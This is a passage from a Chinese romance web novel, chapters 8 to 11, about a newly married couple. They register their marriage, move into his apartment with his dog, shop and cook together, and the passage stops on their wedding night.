他们在午后阳光明媚时相依。
心里想着结婚的事,陈羲和无时不刻不在思考注意细节。
“月月,刚刚助理查过,后天刚好宜嫁娶,我们去领证?”
林望舒点点头:“好”
“但我们结婚之前,先去见见你父母?”
提起父母,林望舒身体不自然的僵住,下意识有些排斥这个话题。这么多年了,她依旧是这……
不论如何她只想一个人好好生活,承担自己对父母应尽的责任,至于其他的,她无暇顾及,甚至不想顾及。
反正已经很多年了,都是这样一个人做好决定。
“反正马上就去领证了,这几天也走不开,就后面再见吧。”
陈羲和也没有异议。两人就这样在吃饭过程中商量好了人生大事。
*
第二天晚上,陈羲和来接她下班。顺便把拟好的合同给林望舒。
她仔细看过,除了她之前提过的需要承诺的内容,他还让人整理了自己的部分资产转让给她。而且…这份合同怎么看都是自己占利,陈羲和居然没有对她有什么约束,也不像她以为的豪门需要签署什么关于资产的婚前协议。
“你转让上繁景城的房子给我干嘛?”
“一部分聘礼。”
这个地段的平层都要两三百万了,更别提这种别墅……在他眼里居然还是一部分聘礼吗?
林望舒再次对他的“有钱”有了实质性的认识。
既然是聘礼,她也不好再说什么,翻到最后一页,在陈羲和旁边的另一侧写下:
“林望舒”
……
约定好的“后天”如约而至。
林望舒接到陈羲和电话时正洗漱完准备化妆。
“我在你楼下等你。”
“啊?你这么快就到了吗?”她说着,化妆的速度也加快了不少,“我还没化完妆,我是不是迟到了?”
“没有,你慢慢收拾。是我早出发了,忍不住来见你了。”
林望舒脸一热,论谁也不能拒绝大早上的告白。她决定先扳回一城:“那你要不要上来见我?”
“可以?”
“可以…吧。”
陈羲和轻笑声从手机另一头传出。
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林望舒也被这弄的有点不好意思。
“望舒,那到底是可以?还是不可以啊?”
即将新婚的两人就这么打着哑谜,谁也不肯退一步。最后还是林望舒败下阵,她想着现在虽然是夏天,但早上外面估计还挺热的。
“可以,我给你留门了。”
陈羲和今天依旧是白衬衫,但林望舒不知道为什么,总觉得这件和平常的不太一样,具体的她也没想明白,反正都是,怪好看的。
她坐在梳妆台化妆,怕弄脏衣服,还没换衬衫。现在穿着她的…卡通海绵宝宝睡衣。
完蛋了啊啊啊,忘了今天穿的这套了,又双叒叕在他面前丢脸!
不过,当尴尬成了常态,一切都自然起来了。她没表现出一点的不自然,反倒让陈羲和这个误入的人突兀了。
同林望舒打完招呼,就去客厅坐着等她了,桌上还放着她先前就倒好的热水。
时不时无聊,他起身在客厅四处走走,这里每一处都有林望舒的味道,使他沉迷。
电视机下方柜子上,摆着她的照片。一张她大学毕业穿着学士服在南大校门口的照片。
当时的林望舒留着及腰长发,靠近耳朵的几撮头发挑染成了粉色。她逆着阳光右手挡太阳的姿势举在额前,左手抱着几本书。
好像是才转身拍的照片,学士服和她的发都翘起一点弧度,她唇角上扬,眼里全是欢喜,镜头恰好捕捉。
这张照片,陈羲和是见过的。
在他小姨上次给他看到照片里。
最开始,他只打算敷衍小姨,没把她说相亲的事放在心上,打算看看就找个借口回绝。
只是没想到,无意看到这张照片……当时的他还不明白这是种什么感觉,为什么会喜欢那样的她。
直到后来真的见到她,陈羲和才发现,原来是生命力。
一眼见到的她身上的生命力,对他有极致的吸引力。
陈羲和是个彻彻底底的现实主义者,绝对的唯物主义。但他从没想过,“一见钟情”真的会发生在自己身上。
还来的这么莫名。恍然闯入他的世界,等他意识到时,早已深陷不已。
囹圄在爱情的陷阱,但甘之如饴。
*
早上九点三十分,他们走进民政局,结婚的人不少,好在他们提前预约了。
最后就是两人第一次走流程似的跟着引导的工作人员。签字、拍照、盖章,繁杂但又迅速。
不过片刻,两人就拿着红本本走了出来。
薄薄的小小的一本,却昭示着两人从此密不可分的关系。
林望舒还有点恍然,这就……结婚了吗?
“发什么愣了?”陈羲和低头看她,牵着的手松开,揉了揉她的发。
“就…怪不习惯的。”
林望舒今天是请了一上午假来领证的,他们还可以再待几个小时再分开。她倒没说实话是来结婚的,毕竟平白冒出个对象,有点奇怪……
正准备上车,陈羲和却带她走到了后备箱。
打开,入目便是一大束玫瑰,里面干净无尘,更加衬托了放在正中心的红玫瑰。
这次他送的花是红玫瑰了,炽热永恒的爱。
他单手拿起花,另一只手??住她的腰,两人距离瞬间拉进。
“林望舒,还记得第一次送你玫瑰你有多紧张吗?”他含笑说着。
陈羲和的呼吸喷洒在她肩膀,让她身体泛起红晕。
她不太懂花语,那一天回去还特意查过。
粉玫瑰——初恋,象征爱情最初的美好与羞涩。
是温柔甜蜜的心悸,亦如那晚的两个人。
“今天,持证上岗的第一件事,还是送你花。但这次不一样了,以后我能理直气壮送你一辈子了。”
8. 婚房
“就在前面十字路口停下就可以了!”
……
一个多小时前,两人领完证,陈羲和说中午一起简单吃了个饭,当然这顿饭好像只是陈羲和眼里的“简单”。
今天中午吃的是粤菜,他还订了个包间。感觉陈羲和好像总是知道很多吃不完的私厨餐厅。
这次他没有坐在林望舒对面,而是坐在一旁靠她很近。
“拍个照?”挑眉看她。
“啊?拍什么?”
她怎么傻傻的。
“都拍啊。”
等陈羲和已经拍照结束了,她才反应过来,她说的“都拍”,是人和结婚证都拍……
“不行不行,我刚刚表情都没管理好,肯定很丑!重新拍!”
陈羲和又配合她拍了两张。
林望舒接过陈羲和手机,翻看这几张照片,还是觉得第一次那张也太不好看了,呆呆的,正想偷偷点击删除,结果被旁边的人抓了个正着,手中的手机就不翼而飞,转眼到了陈羲和手里。
“干嘛要删掉,这张很好看啊。”
“哪里好看了,你是什么直男审美,明明后面拍的才好看吧,快点删掉!”
陈羲和没回她,把手机高举起来,又偏头看看那张照片。
手机里的女孩,无神的眼睛看着镜头,下意识的嘴巴微张,显然当时的林望舒还没反应过来。陈羲和越看越喜欢,就很呆,很可爱。
“都好看啊,这张明明很可爱。”
林望舒也不说话了,低头开始吃饭。
“怎么了?生气了?”
“没有没有!”筷子在碗里戳来戳去。
一旁陈羲和也不自在了,他不知道林望舒是不是真的生气了,他也没有过恋爱经历,实属摸不着头脑。就这样坐在旁边观察她的一举一动,也不说话。
察觉到身旁的视线,林望舒平和地说道:“我真的没有生气,就是……”
他立马追问:“就是什么?”
“就是有点…不好意思。”
声音越说越小,但两人靠的这么近,就算小声低语对方也能听的一清二楚。
她说的不好意思,应该因为刚刚在夸她可爱。
“哦,那你习惯一下,就不会不好意思了。”陈羲和手肘放在桌上,撑着脑袋看她,“毕竟,以后说的不会少。”
“吃饭!”
林望舒又不想理他了。
……
是以,现在林望舒没让他送到公司楼下,陈羲和真的以为她还是在生气。但看见她面上一如既往,又有点不确定了。
不过这次还是听她的了,在十字路口停下。陈羲和不动声色地试探她:“晚上什么时候下班?我来接你。”
并不是在询问,而是肯定句。
才结婚,感觉这样挺麻烦他的。况且林望舒不想让公司的人这么早就知道,对她的私生活打探,最重要的一点是,陈羲和一辆又一辆的车也太高调了,要是天天接送她,难免惹人非议。
“不用麻烦了,我回去很方便的,不说了马上要迟到了。”朝他挥挥手就往前走了。
看着林望舒毅然决然转身的背影,车上的陈羲和越来越绝望。他觉得林望舒肯定是生气了,不让他送到楼下,还不让他晚上来接她。
哎,早知道不逗她了。
回到工位的林望舒,其实根本没想这么多……
邻桌的温婉过来:“你不请病假了吗?怎么今天还这么高兴?”
“啊?我有很高兴吗?”
温婉眼中的林望舒,妆比平时更精致了,不常化的眼妆也化了,总是自然柔顺的头发,今天烫卷了垂在肩头,后面还挽了个半丸子头…何况林望舒本就好看,现在这样更甚。
总之,春光满面的,和平时那个懒懒的林望舒很不一样。
又看着她不同往日的穿搭,打趣道:“今天还穿白衬衫了?怎么,去结婚了?”
林望舒脸上的笑顿时一僵,大脑飞速旋转。手不自在的摩挲杯子。
救命,我该说什么。
其实她本来也没打算瞒着温婉,只是感觉现在就说很奇怪…无中生有多了个对象。
早在看见她僵住的表情,温婉就坐不住:“不是,我开玩笑的,你还真去结婚了?”
林望舒把想起身站起的温婉拉下来,示意她小声点。
听见动静,办公室其他人朝这边望了望。林望舒回了个尴尬不失礼的笑,办公室还是有些人在说话,应该每天听到她们刚刚的谈话。
最后就是,她把两人相识相知的经过,一五一十地告诉给温婉了。
“所以…你和你老公只见过两三次面就闪婚了?你老公还是至臻集团的老板?”
林望舒喝着咖啡,咬着吸管点头。
不同于陈悦,温婉花了很久的时间捋清思路也不敢相信。
“你确定他是至臻老板吗?别被人给骗婚了。”
这几年闪婚的人不计其数,尤其是他们这种本身工作强度大的人,心思没多少放在个人感情上。都是这样找个看起来好相处顺眼的结婚。但最后的结果无非两种:要么貌合神离,相敬如宾;要么匆匆岁月,物是人非。
反正温婉是不太赞成这种闪婚的。而且最近她在网上也看到很多婚后新闻,她对结婚只惧不喜,甚至有点排斥。如今现在闪婚的例子就发生在身边,她真的很怕林望舒被人骗了。
“确定,我们是家里人介绍认识的,我还去他公司找过他。”
温婉稍微放下心来。
虽说她想不通对方闪婚是为什么,但从各方面条件来说,林望舒好像才是更获利的一方。既然这样,他们夫妻俩的事,就他们自个儿顺其自然吧。
*
临近下班,却没想到收到了陈羲和的消息。
【[定位]】
【我在这里等你】
Moon:【不是不用来接吗?】
时序:【新婚第一天就抛下妻子不管?我还没这么不尽责任】
哦,原来不是真的想接我,只是因为是夫妻。怎么莫名有点失落呢?
但林望舒也不是什么自怨自艾的人,很快调整好了心情。
嗯!但他很有责任感!
Moon:【[收到]jpg.】
陈羲和发的定位就在今天送她回来下车的不远处,距离公司不近也不远,几分钟就能到。<
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陈羲和先带着她去吃晚餐。林望舒感觉最近跟着陈羲和一起吃饭,胃口都变好了,最近吃的还有点多……林望舒只好紧急提出饭后走走路消食。
江边的晚风凉爽不闷,两人又在去江边廊桥散步。
之前都是几天见一次,每天只在手机上聊天,但今天见的次数有点过于多了,白天几乎一半的时间,两个人都待在一起,她还有点不习惯。
“你平常不忙吗?我怎么感觉你随时都有空呢?”
陈羲和心中叹气,其实挺忙的,但是因为想见见林望舒,工作只能要么加班赶点地做,要么再往后推一推。
真是抛媚眼给瞎子看。
当然这些他是不会告诉林望舒的。从他这些天对林望舒的了解来看,她要是知道了肯定会跟他讲,工作最重要……
“只是现在不忙,后面可能出差还要连轴转”
听着陈羲和说话,林望舒不知道怎么回事觉得他语气听起来怪可怜的。
“那你平常在家待的时间多么?”
“以前可能不多”两人并排走着,他垂眸看着林望舒,即使对方没有发现他的视线,“现在肯定要多回回家陪你了。”
林望舒余光扫到陈羲和炽热的目光,更加不敢回视过去,假装往旁边的栏杆走,望着江水看去。
谁知这时,几个小朋友在桥上你追我赶,跑了过来,根本没看前面的路,撞上了林望舒侧腰。
还好陈羲和眼疾手快,将她拉到自己怀里。
他左手扣住她的腰,右手从拉着她手腕,上移到林望舒的背部,紧紧将她锢在怀里。
林望舒只感觉被什么人撞到了,下一秒就陈羲和拉进身前,靠在被他圈子在怀里。
入目就是陈羲和胸膛,带着点薄荷味道,不知道是他身上的还是衣服上的,很舒服,温暖有安全感。
他现在不像平常在公司那样严肃,规整地系着领带,甚至解开上面两个扣子。林望舒侧着身靠近,稍一抬头看过去,刚好可以看见衬衫下的锁骨,随着呼吸上下起伏,再往上是坚.挺的喉结,莫名很性感……
林望舒感觉应该是晚上吃得有点重口了,不然现在自己怎么会这么口渴。
陈羲和带着点愠怒对那个小朋友说:“撞到人了不知道要道歉吗?”
那个小朋友战战兢兢地向林望舒道歉。
她也没计较什么,就原谅他让那个小孩走了。
但她现在还被陈羲和圈住,此刻姿势有点奇怪…好像陈羲和也忘记还在抱着她了。
她稍微活动一下身体挣脱开怀抱。
暧昧的氛围被打断,陈羲和不动声色的皱了一下眉:“没撞疼吧?”
“我没事,没怎么撞到我。”
散步的差不多了,两人慢慢往回走。
“所以,你打算什么时候搬过来和我一起住?”
适才的话题又这样被提及。
“我都可以。”
林望舒早就考虑到这点,只是没想到他会这么早就提出来。
“好,那这周末我来接你。在制航科技附近我有一套公寓,前几天让人购置添了一些家具,刚好先当婚房了。”
“好”
9. 乖点
林望舒现在的房子是她这几年来,慢慢攒钱买下的。
可能真的是她运气好,付完首付时,地段没有很好,后面存钱压力也不大。只是近几年,周围建起了商圈、写字楼,交通也便利住房条件很好,直接价格飞涨。
这个房子她也住了有两三年,乍然要搬走还怪不习惯的。
林望舒收拾行李时,感觉哪哪都不舍得,哪哪都想带走。最后心里好一番挣扎断舍离,还是收拾了两大行李箱和一箱子的杂物。
见她收拾好了,陈羲和接过那两个行李箱,让她搬一旁更轻的小箱子。还好她住的这个平层有电梯进出搬东西很方便。
林望舒很喜欢陈羲和这一点。无论何时好像都不会让她一个人。哪怕就像今天这样,只是一件微不足道的小事,也陪着她。
这正是她特别想要,也特别需要的。
车停在小区地下室,行李箱在不见光日的车库里,摩擦着地面发出窟嗤窟嗤的声响,在四周回荡,两人的脚步声显得尤为细小。
陈羲和一个人把东西搬到后备箱,林望舒站在旁边想搭把手,但总感觉帮不上什么忙。
看着她这么努力可爱的样子,陈羲和想摸摸她的头,但刚搬了东西,手上还有点灰,抬起悬在半空的手又收回。
但林望舒好像误会他的意思了。她也抬起手来和陈羲和十指相扣。即使这牵手行至的距离不过两三步路。
她觉得,陈羲和这么做一定有他的道理,她就开团秒跟好了。
“这么如胶似漆啊?”他抬抬手,将两人紧握的手放进视野里,左右转了转。
林望舒抬眸看他,对方又是痞痞地挑眉的样子。
不理他,也没松手,往前走到副驾驶,等待陈羲和给她开门。
落后半步,陈羲和没好气的心里想,怎么又没忍住要逗她玩。
车门打开,林望舒正要坐进去,后排一个东西窜出来直接坐在了她的位置上。
边牧就这么立在副驾驶的座椅上,偏偏脑袋眨眨眼看向林望舒。好像确认了好几遍,再摇着尾巴朝她吐舌头。
这边林望舒还没来得及跟它打招呼,乖点就被陈羲和招呼走了:“乖点,去后排坐。”
小狗狗神情恹恹,耷拉着耳朵回到空落落的后排,趴着脑袋在座椅上,眼睛却往两人这里看。
瞧着它的小模样,林望舒简直要被萌化了!它怎么可以这么可爱!
忍住上前抱起乖点的想法,坐上副驾驶,但林望舒注意力始终放在后面的小狗上。
察觉到林望舒也在看它,乖点不动声色从座位上爬起,靠近林望舒。它谨听陈羲和的话没有越过去找林望舒,就这么蹲在后面角落,把头伸过去搭在林望舒手上。
林望舒的手摩挲着乖点柔顺的毛发,起初还有点小心怯怯,察觉到乖点并不排斥,好像还很喜欢她后,简直受不了它这么可爱的模样!再次感叹,好想把它抱在怀里rua啊!
才上车的陈羲和看见一人一狗相处的如此和谐,陷入了沉思。
感觉自己有点多余了。
一分钟后,两分钟后,五分钟后……
林望舒还是没有分给他一个眼神。
已经当他不存在了吗?很好。
陈羲和忽而靠近林望舒,两人鼻尖似乎要贴上了
林望舒呼吸骤然一停:“你你你……干嘛啊?”
两人四目相对。
男人的手就这么慢慢靠近她右侧脸颊,就当林望舒以为马上两人有什么肢体接触时,旁边的手却越过了她,拉上了后面的安全带给她系好。
陈羲和失笑:“给你系安全带,想什么呢?”
林望舒讪讪,她也不甘示弱,此地无银三百两地说:“没想什么啊,是你想干什么吧!”
对面男人轻唔一声:“那还挺多的,都需要你配合,不急”
林望舒:到底是谁急了?
陈羲和说的公寓,距离制航科技坐地铁只需要一站。林望舒细细算下来,早上还可以多睡十分钟。
林望舒:^_^真好!
看着林望舒这么喜欢乖点,陈羲和自己一个人承担了所有行李。
林望舒蛮不好意思的,想跟着过去帮忙。
“不远,我走两趟就好,你抱着乖点”
如愿抱上了乖点,林望舒别提有多高兴了。
小狗趴着她身上,头耷拉在她肩膀,高兴的摇着尾巴,林望舒就这样拖着它后腿,它茸茸的毛发时不时蹭上脸颊,痒痒的。
但没想到看起来小小一只,还是这么有重量。
好在这套房子的电梯是一梯一户,走出电梯直走就连通到了门口。
陈羲和进门先把行李搁在一边,接过林望舒抱着的乖点,把它放到地上,就牵着她的手带她看公寓陈设。
被落下的乖点不满意的“汪”了一声,最后看到陈羲和一个眼刀,停在原地。但不像往常落寞地走到自己的小窝趴着,今天反而跑到一旁跟着女主人。
陈羲和瞥眼看了看也没说什么。
被乖点跟着的林望舒倒是很开心。
就这么被陈羲和带着看整个室内,总体是冷色调的一目望去只有黑白灰,包括陈羲和穿的一身也是。
就怪……性冷淡的。
陈羲和也不知道林望舒在想什么。他自己一个人住惯了,早就习惯这种装修风格。从前觉得黑白灰很顺眼,直到现在看到房间里唯一的一抹亮色——林望舒。
她的到来,就像干涸湖泊迎来澍雨。他想,久旱逢甘霖,的确是人生四大喜事其一。
而后又牵着手带她去了书房。
之前偶尔一个人住在这里,书房里基本都是他自己的东西。想着他们两人可能晚上都还要处理东西,陈羲和又在另一边给林望舒添置了桌椅。
两人要是都在处理工作,稍一抬头就能对视。
等到了主卧。林望舒看着有点愣神,不愧是他们有钱人住的地方,光一个卧室就比她整个客厅大。
顺着主卧进去,有个连通的房间,一进门入目就是一座梳妆台,不远处搁着一架全身镜。
同外面等装修风格不同,这里显然是给她打造的,恬淡适宜,很适合她。
“这是给你的衣帽间,不知道够不够大,要是不够的话,后面我再找人扩修。”
还不够大吗,跟以前的房间比,这得是其的两倍吧……
“够的够的”点头如捣蒜。
想着有自己的衣帽
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间,她已经开始忍不住幻想了,把自己的好多东西放进来填满该多么有满足感!
瞧着林望舒眼睛亮亮,跃跃欲试的模样,他没忍住笑出了声:“原来这么开心啊?”
剩下的就几间客房了,陈羲和也没带她去。他把林望舒的行李搬到主卧让她整理,箱子里的一些摆件和化妆品就陈羲和看着帮她收拾。
林望舒则是一个人专注在衣帽间整理。
她先是自己规划了几个分区,然后两个行李箱被她打开放在地上,慢慢填进衣柜。
她的确没想到,这个衣帽间居然这么大,哪怕自己大部分的衣服都带过来填满也才将将一半。
“你还有衣服要放吗?这里还有这么多地方呢”她将注意力转向陈羲和。
“不用,你后面还会有很多衣服。”
陈羲和说完把她微信推给另一个助理:“我把你微信给另一个助理了,她姓江,女生。收拾完记得尺码发给她,后面每个季度会让人送点衣服过来。”
一点都没给她拒绝的机会。
“应该也不用吧?”她犹豫着开口。
“跟我不用这么见外。至臻旗下也有很多高奢服装品牌,给老板娘穿,应该的。”
她总觉得陈羲和说老板娘很像在调情……还是在两人孤男寡女共处一室的时候。
回过神来,林望舒呆呆点了点头。
陈羲和将要走出房门,将这块私密空间留给她,忽而又想起什么似的:“是所有尺码。”
林望舒:……
他说的所有尺码,还包括…内衣尺寸吗……
对面的江助理,早在陈羲和跟林望舒说完就发了好友申请。
先是很公事公办的打招呼,就像对着陈羲和汇报工作一样。
“太太您好,我是陈总的助理江澜。麻烦您发一下各方面尺寸,稍后我去对接品牌方。”
被其他人叫太太还怪不习惯的。
“好的,不用叫我太太了,我姓林。”
然后又去备忘录编辑了一下尺寸发过去。
“好的,收到了,林小姐。”
刚搬到这里还是很不习惯,林望舒又一个人呆坐了一会,这里走走那里看看。
客厅旁边的阳台连通着一个空中花园。但陈羲和好像还没想好在这里干嘛,还是空落落一片。
林望舒已经迫不及待开始构思了。感觉以后可以种点绿植,下班回来家里也会很舒服!还有陈羲和以后要是送她花,也可以养在这里。
看她已经收拾好了,反而不累的到处走走。
陈羲和觉得有些好笑,她怎么天天这么有活力,好像每天都会因为一件小事很开心。
一束花,一顿好吃的饭,散步的晚风,告别时熨帖的拥抱,一切的一切都充盈她这个人,她对生活中一切的琐事都有很强的感知力,永远都是这么简单美好。
陈羲和给她倒了一杯水,让她坐下休息。
“先喝点水,待会去超市买点菜回来,一起做饭?”
“洗漱用品这些呢?”
“已经给你准备好了,如果有什么常用的牌子,待会一起买回来。”
“你还会做饭吗?我是一点都不会诶。”她摊摊手无奈道。
10. 老公
“陈羲和!你早上喝不喝酸奶?”
“诶?你想不想吃薯片!番茄味的?”
“我记得这个饼干也好吃!你想尝尝吗?”
林望舒就跟个小鸟一样,围着陈羲和叽叽喳喳,说个不停。
他往前倒退二十多年,都从未有过这样的感觉。世界不一定需要他这样的寂静,但一定割舍不了林望舒这样的鲜活。
“你想吃的我都想吃。”
他也不知道为什么,关于她的一切她都想尝试,都想靠近。
陈羲和一直都不是个贪口腹之欲的人,打从小时候起,同龄人爱吃的零食他都不喜欢,反而偏爱那些清淡健康的饮食。
陈羲和从小就是典型的别人家的小孩。懂事,安心,成绩好,不过于贪玩。小小一个就能学会很多,同样是课上教导的内容,其他人需要消化很久才能掌握,他一点就通。
即使是这样一个令人放心的小孩,孟女士也常苦恼,自己的儿子会不会和同龄小朋友没话题。成为“别人家的小孩”故然他们陈家面上有光,但小孩子不喜欢热闹,也不爱出去玩,总是一个人待着,难免怕他心理出问题。
但好在,陈羲和只是性子闷,不闹人,一个人待着才是他最舒服惬意的时候,反而没有意义的社交才是他难以言说的宣泄口。
林望舒嘴里脱口而出的这几句话,却好像节拍落下,敲响心门。
他想,他好像更喜欢热闹一点。
“你想什么呢?我刚刚问的你听到了吗?”林望舒有点不满意他的走神,蹙了蹙眉。
“你说什么?刚刚突然想起以前的事情了。”淡淡笑了一声。
“哦,我们要不要买点这个面皮回去包饺子吃?这个我可以代劳!”
林望舒确实不太会做饭,但这种面食,速食她还是最在行了。总不可能以后只让陈羲和给她做饭吧,虽然自己不会,那分担一点总是好的。
他想也没想:“好啊。”
她想要就买。
兜兜转转,逛过零食区又逛完生鲜区……购物车已经满满一车了。
林望舒讪讪,怎么感觉自己买了这么多零食啊,呜呜不在我的计划中,形象全被毁了。
周末超市人满为患,两人就这样推着车排队,时不时聊聊天。
忽而,一个默认的手机铃声响起,是陈羲和的。
他朝林望舒示意了一下,走到人少的一边接电话。
陈羲和走了,她才意识到周围是如此的热闹嘈杂,明明刚刚聊天也只能听到彼此的声音的……
无所事事,队伍还有点长。大概因为最近超市有促销活动吧。前面几个人也是同他们一样买了很多东西,就连智能结账那边都满满是人。
林望舒出神发呆看着周围。
她很喜欢观察其他的人事物。她喜欢将自己置身事外,从旁观者的视角,在某时某刻探寻不同人的足迹。
右手边的小男孩在和她的姐姐商量如何让爸爸妈妈给他们买小零食;左手边的一对小情侣依偎在一起打情骂俏;前面结账的几个收营员,流利火速地扫条码,有条不紊。视线外,不只是哪又传出了吵闹声,感叹东西怎么这么贵……
一切一切清晰明了,但都好似与她无关。唯有远处的陈羲和……
他侧身站着,比较随性不是很笔直,右手拿着手机接电话,线条清晰的指骨在这白炽灯的照射下更显洁白。
也不知道他在说什么,好像很高兴。
反正还要等好一会儿,林望舒索性在周围逛了起来。
收银处这边放着好些冰柜,她挑的有些晃眼了,正值夏季想选个冰淇淋吃,反反复复斟酌后,林望舒还是决定选择最常吃的方糕。等陈羲和打完电话过来再问问他想吃什么味道的。
如是,队伍又前进了几步,她推着车走到了收银台旁的货架边。
视线从各式各样的口香糖路过,最后定格在了几层不明的盒子上。注目有些时间了,她才从那些盒子上的小字看到:“超薄、螺纹波点”,甚至一些还标了口味,草莓,葡萄……
林望舒并不是个对性方面一无所知的人。高中的时候陈悦跟她分享过一些在她们那个年龄所谓的“禁书”,她一眼望过去全是各种各样的动词,不知道的姿势,数不清的“啊咦呜”……
即使浅显懂得了大部分流程,但眼前这一幕也属实有点颠覆她的想象了。她以为这种都只有常规款,也可能就尺寸有不同,怎么还会有这么多种类。
她逐字逐句研究盒子上的话术,“学习”的很认真,好奇每一个有什么不同。殊不知,身后某人已经观察她很久了……
直到一片阴影落下,林望舒才回过神。
转头,就看见陈羲和意味不明的勾唇一笑。
“不不不,不是你想的那样……”林望舒连忙摆手解释。怎么看这个还会被他抓包,明明刚才还在打电话的,好丢人,他不会觉得我饥渴难耐吧。
他挑眉看着林望舒慌乱解释的模样,开口道:“哪样啊?”
他明明就知道我说的什么。
为了避免尴尬,林望舒选择转移话题:“我刚才还去选冰淇淋了,你要不要尝尝?”
怎么感觉她该跟个小朋友一样,陈羲和摸摸她头发,带着些说不出的宠溺说道:“不用了,你吃吧。”
现在的林望舒尴尬的脚趾抠地,只想逃离这个的地方,至少是目前几分钟离陈羲和远远的,她点点头就朝后面冰柜的方向去了。
看着她离开的背影,陈羲和觉得很好笑,怎么总是这么容易害羞。
趁着她走开,陈羲和也看了看这些货架上盒子,刚好轮到他们结账了,他顺手拿了几盒,对收银员说:“先结这个。”
等到林望舒回来,陈羲和这边结账也差不多快结束了,他身旁已经装好一个袋子的东西了。等另外的东西扫完,陈羲和付完钱,林望舒已经提上一个袋子的东西在旁边等他了。
他拿着另一袋,走过去把她抱在胸前的袋子拿在手上。正努力从大袋里轻松拿出冰淇淋的林望舒有点懵。
“我来拿。”说完,把滑落到袋子侧边的冰淇淋拿出来递给她。
“我拿一个吧,你拿着重不重呀?”<
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“不用,怎么能让你拿,你老公是来干嘛的?”
听到突如其来一句“老公”,怔地林望舒脑袋发蒙一瞬,感觉刚才的话无数次在她耳边回想,她自己还没这么叫过呢……
……
回到家。陈羲和一个人把食材那一袋子拿进厨房,开始备菜。林望舒走进和他待在一起。
他一一拿出东西,今晚要做的食材搁置在料理台上,其余的规整有序地摆放在冰箱。整个过程行云流水。
林望舒走走转转发现自己帮不上忙,有些灰心丧气,感觉自己整天好吃懒做不知道能干嘛。
察觉到跟在后面的“尾巴”有些低落,想到了什么,对她说:“月月,帮我去冰箱旁边拿一下围裙。”
林望舒回来正要递给他,就听见面前的男人说:“没手了,帮我系一下。”
“那你低头,我给你系上。”
他双手放在料理台内洗菜,修长的手指在流水的冲洗下隐隐若现……林望舒总觉得这一幕很违和,但又很合理。她想她也不知道自己此刻是什么心情,就像汽水瓶开,滋啦滋啦冒泡,甜滋滋的。
陈羲和关掉水龙头,手指在槽内弹弹水,没让水珠沾出来。他侧过身面对着林望舒,微微屈身低下头。
林望舒将手中的围裙穿过他的头,再让他直起身,转到陈羲和背后给他系在腰间。
他没换衣服,还穿着衬衫,穿上这个黑色围裙,就很人夫感。而且,他腰怎么这么细,现在这么从背后看来,就是个标准的倒三角。
“好了,里面油烟重出去吃零食玩。”
陈羲和语气,就很像对着小朋友轻哄。
真的把她当小朋友了。
当然林望舒也不负所望,顺溜出去找起薯片吃。
今天买了一大袋零食,现在都放在桌上,乱糟糟又五颜六色的和家里色调很不统一。间歇性强迫症犯了,林望舒有点看不惯,开始归类整理收拾起来。
买的酸奶她悄悄进去放进冰箱,还有些茶包又去茶室放好,顺便把乖点在里面玩留下的毛清理了,剩下的零食便放在了茶几下的抽屉里。
嗯嗯!很满意!
厨房里的陈羲和抽空看了看外面,就见林望舒到处转悠收拾东西。有些可爱。
手里袋子中最后的几瓶洗发水沐浴露…她想了想还是放在了主卧的浴室里你正要把袋子扔了,却感到手中还有些重量。
拿起一看,又忽觉烫手的扔在了洗手台上。
没看错的话,这是半个小时前才在超市里见到的小盒子……
可东西不是她拿的……那…陈羲和,还是在她不知情的时候拿去结账了。
林望舒虽然知道两个人今晚肯定会睡在一张床上,但是……根本没有预想过会发生什么,不能就盖着被子纯聊天嘛!
这会不会也太快了吧,还没做好准备……
“月月,吃饭了。”
林望舒惊慌失措回道:“来啦。”
然后囫囵地把那几个盒子塞到洗手间抽屉里,欲盖弥彰的让其他东西掩盖住,不让别人看到。
11. 新婚夜
出乎意料的,陈羲和这么短的时间居然做好了两三个菜。
林望舒注意到桌上的糖醋小排,她夹一小块尝起来,排骨软糯,很入味,看着色泽明艳油光密布,但入口香甜不腻,唇齿留香。没想到陈羲和厨艺这么好。
“这个糖醋排骨好好吃!”林望舒毫不夸张地夸赞他,“简直是我吃过最好吃的了!”
她吃着好吃的东西,总是这样眼睛水灵灵的,瞪大眼睛看着他,眉梢也染上笑意,垂在肩头的头发也跟着雀跃起来。
“喜欢?”他又挑了好几块堆在林望舒碗里,“多吃点。”
吃了几块,林望舒又去挑另一盘清炒时蔬,很淳朴的食材和做法,但就是怎么样都很好吃。入胃,便将排骨的甜味冲淡,爽口清香。
呜呜怎么这么简单的食材都这么好吃啊!
要是林望舒有尾巴,此刻吃饭也应该高兴得尾巴也得翘上天了。无言其他,平时空落落的房间也欢愉起来。
看着林望舒吃饭,就会感觉到很幸福。
陈羲和垂眼看着林望舒给自己夹菜,唇角微微勾起。
一个简简单单的动作,却不为人知地宣誓两人的关系又进一步。
……
月色迷人眼,落地窗外灯火阑珊,车流不息。霓虹闪烁,泼墨夜空只几点星,明月如镜,微风似水。
林望舒走进浴室,心跳如鼓,怦怦作响。
直觉告诉她今晚应该是不会发什么的,但心中的另一个声音又在作祟。混混沌沌的她打开了花洒。
熟悉的洗发水沐浴露,在陌生的房间弥漫……
坐在主卧的陈羲和闻到这若隐若现的甜腻气息,内心乱作一团,呼吸变沉,透露着自己都觉得陌生的情绪。
流水哗啦啦落下,拍击浴室内的白瓷砖,朦胧水汽飘散,覆盖住磨砂镜面,门窗也染上不清晰的雾气。
一声一息扰乱心绪。
沉默着待了一会,陈羲和终究还是离开了主卧,去客卧洗澡。
林望舒磨磨蹭蹭从浴室出来,就见房间里空无一人,紧张高悬的心顿时回归平静,释然地吐出一口气。
她把头发裹在干发帽里,对着浴室的镜面护肤。她选了一件比较保守的睡裙,袖子刚好只露出小臂,胸前肩头遮的严严实实,长短也适宜,就是有小熊图案在,显得有点幼稚……不过也没关系了。
收拾的差不多,她打开下面抽屉找吹风机,翻来覆去几遍都没看到,湿润的头发裹覆的有些久了,黏黏糊糊的很难受。
陈羲和还没回来,她给他发消息也还没回。林望舒想,应该是去另一边洗澡,她只好去旁边的客卧看看有没有吹风机。
林望舒带着自己都不知道为什么要这样的鬼鬼祟祟的步伐,潜进了客卧。一进门就听见浴室内窸窸窣窣拿东西穿衣服的声音。
他应该也快收拾好了。
她靠近浴室门,抬手叩门想问问他这边有吹风机吗。但就在此时,面前的门倏而打开。
毫不顾忌地,陈羲和带着水汽的身体出现在她面前。他只在下半身围着浴巾,上半身的皮肤纯.裸在室内,右手拿着另一浴巾擦头发。
水滴从发尾流经他胸膛,再顺着皮肤肌理到达起伏的腹肌,最后没入腰下包裹住的隐秘深处……
适才还在厨房感叹过的倒三角身材,就在这时完完全全出现在眼前。
太犯规了。
